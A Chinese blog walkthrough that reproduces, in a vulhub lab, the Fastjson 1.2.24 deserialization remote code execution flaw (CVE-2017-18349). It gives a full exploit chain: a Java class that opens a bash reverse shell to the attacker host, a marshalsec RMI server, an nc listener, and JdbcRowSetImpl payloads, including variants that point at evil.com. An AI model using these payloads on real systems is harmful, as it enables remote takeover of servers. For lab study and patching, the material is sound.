Fastjson 1.2.24 反序列化(CVE-2017-18349)漏洞复现

Fastjson 1.2.24 反序列化(CVE-2017-18349)漏洞复现

1、漏洞描述

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

影响版本

Fastjson1.2.24以及之前的版本

2、环境搭建

vulhub靶机下载地址:https://github.com/vulhub/vulhub

靶机搭建在cenos7中ip:192.168.199.52,攻击机使用kali,ip:192.168.199.51。

开启靶机:

cd vulhub-master/fastjson/1.2.24-rce/
docker-compose up -d

web地址:http://ip:8090/

3、漏洞检测

1、看见有json的请求包,就可以输入一串错误的json区请求测试

返回包的报错中有:com.alibaba.fastjson.JSONException:

2、如果没有报错回显,利用dnslog进行回显

{"test":{"@type":"java.net.Inet4Address","val":"dnslog的地址"}}

4、漏洞复现

复现流程

1.访问http://ip:8090/

2.使用burp抓包

使用burp抓包修改post提交方式并且添加内容:{"@type":"java.lang.AutoCloseable"

最后返回包中显示失败

3.新建TouchFile.java然后使用javac 命令对TouchFile.java文件进行编译。(javac TouchFile.java)

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
 static {
      try {
             Runtime r = Runtime.getRuntime();
             Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.199.51/4444 0>&1"});
             p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

4在kali 中使用python开启http服务

在kali中创建一个test文件夹,然后把前面创建的TouchFile.java文件移到该目录下,然后在该目录下使用python开启http服务

mkdir test
mv TouchFile.class test/
python3 -m http.server 1234

5.使用marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec下载地址:https://github.com/RandomRobbieBF/marshalsec-jar

将该文件也移到新创的test目录下

mv marshalsec-0.0.3-SNAPSHOT-all.jar test/

然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.51:1234/#TouchFile" 9999

6.在kali中使用nc开启端口监听

nc -lvvp 4444

7. 发送请求包

POST / HTTP/1.1
Host: 192.168.199.52:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 164
{

    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.199.51:9999/TouchFile",
        "autoCommit":true
    }

}

请求rmi服务器是没有回显的,所以burp的response是没有内容的。

8.结果

1.2.47和1.2.24的复现过程区别

向靶场服务器发送Payload不一样,其他的过程都是一样的,1.2.47的pyload:

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://evil.com:9999/Exploit",

        "autoCommit":true

 }

6、1.2.24的payload

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi:// evil.com:9999/Exploit ",

        "autoCommit":true

    }

7、修复建议

将Fastjson升级到最新版本

https://github.com/alibaba/fastjson

参考链接:

https://blog.csdn.net/weixin_44146996/article/details/111860438?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164499669816780366586530%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=164499669816780366586530&biz_id=0&spm=1018.2226.3001.4187

声明:

本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值